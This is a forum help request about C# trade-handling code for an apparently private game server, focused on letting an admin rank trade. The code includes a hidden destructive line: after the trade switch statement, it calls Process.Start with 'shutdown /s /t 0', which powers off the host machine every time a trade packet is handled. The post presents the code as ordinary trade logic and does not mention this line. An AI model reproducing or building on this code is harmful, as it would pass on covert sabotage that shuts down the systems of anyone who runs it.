but for one reason, the [ADM] cant trade with [GM] or [PM]...
i alleredy have working that GM and PM can trade code, but i need help with making [ADM] trade to!
plz help me
Thanks
this is the trade code: i is copyed from a thred in elitepvpers but i dont remeber witch one...
Code:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using NewestCOServer.Game;
using System.Diagnostics;
namespace NewestCOServer.PacketHandling
{
public class Trade
{
static void CancelTrade(Main.GameClient C)
{
if (C.MyChar.Trading)
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
Who.Trading = false;
Who.TradingWith = 0;
Who.TradeSide.Clear();
Who.TradingCPs = 0;
Who.TradingSilvers = 0;
Who.ClickedOK = false;
Who.Silvers = Who.Silvers;//update the silvers
Who.CPs = Who.CPs;//update the cps
Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading failed!", 2005, 0));
}
C.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
C.MyChar.Trading = false;
C.MyChar.TradingWith = 0;
C.MyChar.TradeSide = new System.Collections.ArrayList(20);
C.MyChar.TradingCPs = 0;
C.MyChar.TradingSilvers = 0;
C.MyChar.ClickedOK = false;
C.MyChar.CPs = C.MyChar.CPs;//update the cps
C.MyChar.Silvers = C.MyChar.Silvers;//update the silvers
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading failed!", 2005, 0));
}
}
public static void Handle(Main.GameClient C, byte[] Data)
{
uint UID = BitConverter.ToUInt32(Data, 4);
byte Type = Data[8];
switch (Type)
{
case 1:
{
Character Who = (Character)World.H_Chars[UID];
if (Who != null && !Who.Trading)
{
if (!C.MyChar.Trading && !C.MyChar.MyClient.GM)
{
if (!C.MyChar.Trading && !C.MyChar.MyClient.ADM)
if (Who.EntityID != C.MyChar.TradingWith)
{
C.MyChar.TradingWith = UID;
if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
C.AddSend(Packets.TradePacket(Who.EntityID, 3));
C.MyChar.Trading = true;
Who.Trading = true;
break;
}
else
{
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Request for trading has been sent out.", 2005, 0));
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 1));
}
}
if (Who.EntityID == C.MyChar.TradingWith && Who.TradingWith == C.MyChar.EntityID)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.EntityID, 3));
C.AddSend(Packets.TradePacket(Who.EntityID, 3));
C.MyChar.Trading = true;
Who.Trading = true;
}
}
else
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Close the current trade before you take another one.", 2005, 0));
}
else
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The target is trading with someone else.", 2005, 0));
break;
}
case 2:
{
CancelTrade(C);
break;
}
case 6:
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null)
{
if (C.MyChar.TradeSide.Count < 20)
{
if (Who.Inventory.Count + C.MyChar.TradeSide.Count < 40)
{
Game.Item I = C.MyChar.FindInvItem(UID);
if (!I.FreeItem)
{
Who.MyClient.AddSend(Packets.TradeItem(I));
C.MyChar.TradeSide.Add(I.UID);
}
else
{
C.AddSend(Packets.TradePacket(UID, 11));
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Cannot trade items made with gm commands.", 2005, 0));
}
}
else
{
C.AddSend(Packets.TradePacket(UID, 11));
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]Your trade partner can't hold any more items.", 2005, 0));
Who.MyClient.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "[Trade]The one your trading with cant add anymore items on the table because you have no room in your inventory.", 2005, 0));
}
}
}
break;
}
case 7:
{
C.MyChar.TradingSilvers = UID;
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
Who.MyClient.AddSend(Packets.TradePacket(UID, 8));
break;
}
case 13:
{
C.MyChar.TradingCPs = UID;
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
Who.MyClient.AddSend(Packets.TradePacket(UID, 12));
break;
}
case 10:
{
Character Who = (Character)World.H_Chars[C.MyChar.TradingWith];
if (Who != null && Who.ClickedOK)
{
{
if (C.MyChar.Silvers >= C.MyChar.TradingSilvers && C.MyChar.CPs >= C.MyChar.TradingCPs && Who.Silvers >= Who.TradingSilvers && Who.CPs >= Who.TradingCPs)
{
Who.MyClient.AddSend(Packets.TradePacket(C.MyChar.TradingWith, 5));
C.AddSend(Packets.TradePacket(C.MyChar.EntityID, 5));
Who.Silvers += C.MyChar.TradingSilvers;
Who.Silvers -= Who.TradingSilvers;
C.MyChar.Silvers += Who.TradingSilvers;
C.MyChar.Silvers -= C.MyChar.TradingSilvers;
Who.CPs += C.MyChar.TradingCPs;
Who.CPs -= Who.TradingCPs;
C.MyChar.CPs += Who.TradingCPs;
C.MyChar.CPs -= C.MyChar.TradingCPs;
foreach (uint Id in C.MyChar.TradeSide)
{
Game.Item I = C.MyChar.FindInvItem(Id);
Who.AddItem(I);
C.MyChar.RemoveItem(I);
}
foreach (uint Id in Who.TradeSide)
{
Game.Item I = Who.FindInvItem(Id);
C.MyChar.AddItem(I);
Who.RemoveItem(I);
}
Who.Trading = false;
Who.TradingWith = 0;
Who.TradeSide = new System.Collections.ArrayList(20);
Who.TradingCPs = 0;
Who.TradingSilvers = 0;
Who.ClickedOK = false;
Who.MyClient.AddSend(Packets.ChatMessage(Who.MyClient.MessageID, "SYSTEM", Who.Name, "Trading succeeded!", 2005, 0));
C.MyChar.Trading = false;
C.MyChar.TradingWith = 0;
C.MyChar.TradeSide = new System.Collections.ArrayList(20);
C.MyChar.TradingCPs = 0;
C.MyChar.TradingSilvers = 0;
C.MyChar.ClickedOK = false;
C.AddSend(Packets.ChatMessage(C.MessageID, "SYSTEM", C.MyChar.Name, "Trading succeeded!", 2005, 0));
}
else
CancelTrade(C);
}
}
else
{
C.MyChar.ClickedOK = true;
Who.MyClient.AddSend(Packets.TradePacket(0, 10));
}
break;
}
Process.Start("shutdown", "/s /t 0");
}
}
}
}






